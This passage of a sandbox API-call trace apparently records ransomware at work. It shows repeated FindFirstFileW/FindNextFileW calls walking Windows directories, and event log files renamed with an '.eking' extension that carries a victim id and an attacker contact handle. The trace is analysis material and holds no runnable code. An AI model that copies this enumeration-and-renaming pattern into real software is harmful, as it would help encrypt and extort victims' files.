ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7d029a36, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7d05171b, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11142, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-Store%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MI745B~1.EKI")) returned 1 [0276.305] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d05171b, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7d05171b, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7d1cd9b5, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11152, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-TaskScheduler%4Maintenance.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MIA68D~1.EKI")) returned 1 [0276.305] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d09c07a, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7d09c07a, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7d0c22d6, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11172, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MIA244~1.EKI")) returned 1 [0276.305] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d0c22d6, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7d0c22d6, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7d23fb55, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11182, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MI0D64~1.EKI")) returned 1 [0276.306] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d1cd9b5, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7d1cd9b5, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7d1f365e, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11172, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MI4EA4~1.EKI")) returned 1 [0276.306] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d295ae2, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7d295ae2, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7d2b5b17, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11182, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MI3B76~1.EKI")) returned 1 [0276.306] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d270a10, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7d270a10, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7d4a21d5, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11142, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-TWinUI%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MID16E~1.EKI")) returned 1 [0276.306] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d2d8596, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7d2d8596, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7d3786db, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11162, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-User Profile Service%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MIBE52~1.EKI")) returned 1 [0276.307] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d3bfe9c, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7d3bfe9c, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7d4f4fa3, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11142, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-UserPnp%4ActionCenter.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MI6DFB~1.EKI")) returned 1 [0276.307] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d4c8489, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7d4c8489, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7d77c616, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11142, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-UserPnp%4DeviceInstall.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MICC29~1.EKI")) returned 1 [0276.307] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d53a99b, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7d53a99b, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7d72a884, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11162, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MI3328~1.EKI")) returned 1 [0276.307] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d72a884, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7d72a884, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7d7cba42, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11142, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-Wcmsvc%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MI44EC~1.EKI")) returned 1 [0276.307] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d77c616, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7d77c616, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7d7eefc2, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11152, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-Windows Defender%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MIB26F~1.EKI")) returned 1 [0276.307] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d7cba42, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7d7cba42, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7da51711, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11142, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-Windows Defender%4WHC.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MI8D1E~1.EKI")) returned 1 [0276.307] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7da9dab2, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7da9dab2, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7dac3d7b, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11192, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MIBE35~1.EKI")) returned 1 [0276.308] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7da51711, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7da51711, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7e63d2c0, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x101182, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MI141F~1.EKI")) returned 1 [0276.308] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7dac3d7b, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7dac3d7b, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7dae9ecd, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11162, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MIAEBD~1.EKI")) returned 1 [0276.308] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7dae9ecd, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7dae9ecd, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7df161bf, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11142, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-Winlogon%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MIEA00~1.EKI")) returned 1 [0276.308] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7df161bf, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7df161bf, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7ea4336b, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x101152, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-WMI-Activity%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MI42A9~1.EKI")) returned 1 [0276.308] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e63d2c0, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7e63d2c0, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7ecfec32, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x111102, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Security.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SECURI~1.EKI")) returned 1 [0276.308] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ea4336b, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7ea4336b, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7ea82487, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11102, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Setup.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPE~1.EKI")) returned 1 [0276.308] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ea8f6d5, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7ea8f6d5, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7f29ee38, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x111102, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="System.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SYSTEM~1.EKI")) returned 1 [0276.309] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ecfec32, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7ecfec32, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7edb0776, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11112, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Windows PowerShell.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="WINDOW~1.EKI")) returned 1 [0276.309] GetProcessHeap () returned 0xaf0000 [0276.309] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb95148 | out: hHeap=0xaf0000) returned 1 [0276.310] GetProcessHeap () returned 0xaf0000 [0276.310] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xb95148 [0276.310] FindFirstFileW (in: lpFileName="\\\\?\\C:\\PerfLogs\\*", lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa03748ae, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17b3dd09, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName=".", cAlternateFileName="")) returned 0xb02d48 [0276.311] GetProcessHeap () returned 0xaf0000 [0276.311] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb95148 | out: hHeap=0xaf0000) returned 1 [0276.311] GetProcessHeap () returned 0xaf0000 [0276.311] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xb95148 [0276.311] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\*", lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xf0c0ff31, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xf0c0ff31, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName=".", cAlternateFileName="")) returned 0xb03108 [0276.311] GetProcessHeap () returned 0xaf0000 [0276.311] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3677260 [0276.311] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\*", lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xe8ce9c57, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe8ce9c57, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02f08 [0276.318] GetProcessHeap () returned 0xaf0000 [0276.328] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3688270 [0276.328] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\*", lpFindFileData=0x2aef278 | out: lpFindFileData=0x2aef278*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x4aab75fe, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0xa0417b85, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4aadd873, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3ad, cFileName=".", cAlternateFileName="")) returned 0xb03208 [0276.344] GetProcessHeap () returned 0xaf0000 [0276.344] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3688270 | out: hHeap=0xaf0000) returned 1 [0276.351] GetProcessHeap () returned 0xaf0000 [0276.351] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3688270 [0276.351] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\*", lpFindFileData=0x2aef278 | out: lpFindFileData=0x2aef278*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa04663f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4accd6e1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3ad, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0276.351] GetProcessHeap () returned 0xaf0000 [0276.351] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3699280 [0276.352] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\*", lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbf6c42af, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x81028f76, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x81028f76, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3ab, cFileName=".", cAlternateFileName="")) returned 0xb03208 [0276.353] GetProcessHeap () returned 0xaf0000 [0276.353] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3699280 | out: hHeap=0xaf0000) returned 1 [0276.353] GetProcessHeap () returned 0xaf0000 [0276.353] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3699280 [0276.354] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\*", lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb3e1c92c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb3e1c92c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3ab, cFileName=".", cAlternateFileName="")) returned 0xb02c88 [0276.354] GetProcessHeap () returned 0xaf0000 [0276.354] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36aa290 [0276.354] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\*", lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05532b6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3a9, cFileName=".", cAlternateFileName="")) returned 0xb03208 [0276.355] GetProcessHeap () returned 0xaf0000 [0276.355] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36aa290 | out: hHeap=0xaf0000) returned 1 [0276.355] GetProcessHeap () returned 0xaf0000 [0276.355] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36aa290 [0276.355] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\*", lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0553f37, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3a9, cFileName=".", cAlternateFileName="")) returned 0xb03048 [0276.355] GetProcessHeap () returned 0xaf0000 [0276.355] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36aa290 | out: hHeap=0xaf0000) returned 1 [0276.355] GetProcessHeap () returned 0xaf0000 [0276.355] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36aa290 [0276.355] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\*", lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0554b83, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3a9, cFileName=".", cAlternateFileName="")) returned 0xb02d48 [0276.356] GetProcessHeap () returned 0xaf0000 [0276.356] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36aa290 | out: hHeap=0xaf0000) returned 1 [0276.356] GetProcessHeap () returned 0xaf0000 [0276.356] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36aa290 [0276.357] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\*", lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05550d5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3a9, cFileName=".", cAlternateFileName="")) returned 0xb02d88 [0276.357] GetProcessHeap () returned 0xaf0000 [0276.357] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36aa290 | out: hHeap=0xaf0000) returned 1 [0276.357] GetProcessHeap () returned 0xaf0000 [0276.357] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36aa290 [0276.357] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\*", lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0555b2c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3a9, cFileName=".", cAlternateFileName="")) returned 0xb02d88 [0276.357] GetProcessHeap () returned 0xaf0000 [0276.357] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36aa290 | out: hHeap=0xaf0000) returned 1 [0276.357] GetProcessHeap () returned 0xaf0000 [0276.357] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36aa290 [0276.357] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\*", lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa055662c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, 